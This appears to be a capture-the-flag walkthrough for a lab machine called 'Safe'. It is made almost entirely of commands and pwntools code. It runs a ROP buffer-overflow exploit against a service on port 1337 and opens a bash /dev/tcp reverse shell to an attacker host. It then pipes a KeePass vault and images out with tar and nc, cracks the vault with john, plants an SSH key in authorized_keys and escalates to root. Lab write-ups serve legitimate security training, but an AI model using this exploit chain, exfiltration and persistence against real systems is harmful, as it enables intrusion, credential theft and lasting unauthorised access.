Safe

Service-version scan; confirms SSH, HTTP, and the unknown listener.

$ nmap -sV -sC -p 22,80,1337 $TARGET

Verify the port-1337 service accepts connections.

$ nc -vz -w2 $TARGET 1337

Confirm the binary is downloadable with no authentication.

$ curl -fsI http://$TARGET/myapp

Download the binary.

$ curl -fsS http://$TARGET/myapp -o myapp

Confirm architecture, PIE status, canary, NX, and RELRO.

$ file myapp && checksec --file=myapp

Resolve fixed PLT addresses and a writable .bss region.

$ python3 -c "from pwn import ELF; e=ELF('myapp'); print('system@plt', hex(e.plt['system'])); print('gets@plt', hex(e.plt['gets'])); print('bss', hex(e.bss()))"

Find the stack-alignment 'ret' gadget (0x401016) and 'pop rdi; ret' gadget (0x40120b).

$ python3 -c "from pwn import *; e=ELF('myapp'); print(next(e.search(asm('ret', arch='amd64'))))" 2>/dev/null; ROPgadget --binary myapp --rop | grep -E 'pop rdi|ret'

Send the ROP chain and validate remote command execution.

$ cat > /tmp/validate_rce.py <<EOF
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret     = 0x401016
bss     = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(b'id; uname -a\n')
print(io.recvall(timeout=3))
EOF
python3 /tmp/validate_rce.py

Start listener on my machine; run in a separate terminal.

$ nc -lvnp 4444

Trigger the reverse shell; catch on the nc listener.

$ cat > /tmp/revshell.py <<EOF
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret     = 0x401016
bss     = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
cmd = b"bash -i >&/dev/tcp/$ATTACKER_IP/4444 0>&1"
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(cmd + b'\n')
EOF
python3 /tmp/revshell.py

Read user flag on the target shell -> <user.txt>.

$ cat /home/user/user.txt

List home directory; observe the .kdbx and .JPG files.

$ ls -la /home/user/

Stream files to me.

$ # On the target shell:
tar czf - /home/user/MyPasswords.kdbx /home/user/IMG_*.JPG | nc $ATTACKER_IP 5555

Receive and extract the archive.

$ # On my machine (run first):
nc -lvnp 5555 > safe_keepass.tar.gz && tar xzf safe_keepass.tar.gz

Generate one john hash file per candidate keyfile.

$ cd /tmp/safe_keepass
for img in IMG_*.JPG; do
  keepass2john -k "$img" MyPasswords.kdbx > "john_${img%.JPG}.txt" 2>/dev/null
done

Dictionary attack each hash; IMG_0547 cracks to '$PASSWORD2'.

$ for img in IMG_*.JPG; do
  john --wordlist=/usr/share/wordlists/rockyou.txt "john_${img%.JPG}.txt"
done

Confirm cracked master password.

$ john --show john_IMG_0547.txt

Install pykeepass on my machine if not present.

$ pip install --user pykeepass

Print all vault entries; the Root password entry reveals the root credential.

$ python3 -c "
from pykeepass import PyKeePass
kp = PyKeePass('MyPasswords.kdbx', password='$PASSWORD2', keyfile='IMG_0547.JPG')
for e in kp.entries:
    print(e.title, '|', e.username, '|', e.password)
"

Generate a keypair on my machine.

$ ssh-keygen -t ed25519 -f safe_user_key -N ''

Plant my public key via a second exploit invocation.

$ # Re-run the ROP exploit writing this command into .bss:
# mkdir -p /home/user/.ssh && echo '<contents of safe_user_key.pub>' >> /home/user/.ssh/authorized_keys
# (same pwntools script as step 4, with the above as the cmd string)

Connect with a proper TTY session.

$ ssh -i safe_user_key -o StrictHostKeyChecking=no user@$TARGET

Enter password: $PASSWORD (retrieved from KeePass vault).

$ su - root

Confirm uid=0; read root flag -> <root.txt>.

$ id && cat /root/root.txt